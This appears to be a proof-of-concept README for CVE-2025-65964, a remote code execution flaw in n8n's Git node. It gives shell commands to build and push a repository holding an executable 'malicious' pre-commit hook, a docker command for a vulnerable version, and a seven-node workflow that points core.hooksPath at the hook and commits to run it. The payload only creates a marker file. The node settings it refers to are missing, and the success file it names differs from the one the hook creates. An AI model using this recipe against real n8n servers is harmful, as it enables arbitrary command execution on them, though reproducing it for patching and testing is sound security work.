CVE-2025-65964-Exploit

Reproduction Steps

First, prepare a repository containing a malicious file.

mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <repository URL>

mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit

chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit

git commit -m "Add malicious hook"
git branch -M main
git push -u origin main

Then, run an n8n Docker container that is within the vulnerable version locally. The vulnerability affects a wide range: 0.123.1 ≤ n8n < 1.119.2. Here we use version 1.64.3.

docker run -it --rm \
  --name n8n \
  -p 5678:5678 \
  n8nio/n8n:1.64.3

First, the complete attack flow for version 1.64.3 is as follows:

Node 1: Git (Action: Clone a repository)

Parameter configuration as shown:

Node 2: Code (Mode: Run Once for All Items)

This node and the next one are needed because Git only allows commits when files have changed, so we first need to write a random file into the repository.

Parameter configuration as shown:

Node 3: Read/Write Files from Disk (Action: Write)

Write a file into the repository.

Parameter configuration as shown:

Node 4 & 5: Git (Action: Add configuration property)

These two nodes are required because commits need an email and username; just make up two values.

Parameter configuration as shown:

Node 6: Git (Action: Commit files or folders to git)

Core step: point core.hooksPath to the downloaded malicious directory, forcing Git to look in our specified directory for hooks (the default is .git/hooks).

(Felt similar to hijacking LD_PRELOAD or similar techniques.)

Parameter configuration as shown:

Node 7: Git (Action: Commit files or folders to git)

This step triggers the vulnerability by executing the tampered hook.

Parameter configuration as shown:

After configuring these nodes, execute the workflow.

Then, observe inside the Docker container — the malicious file pwned_without_exec_node has been created.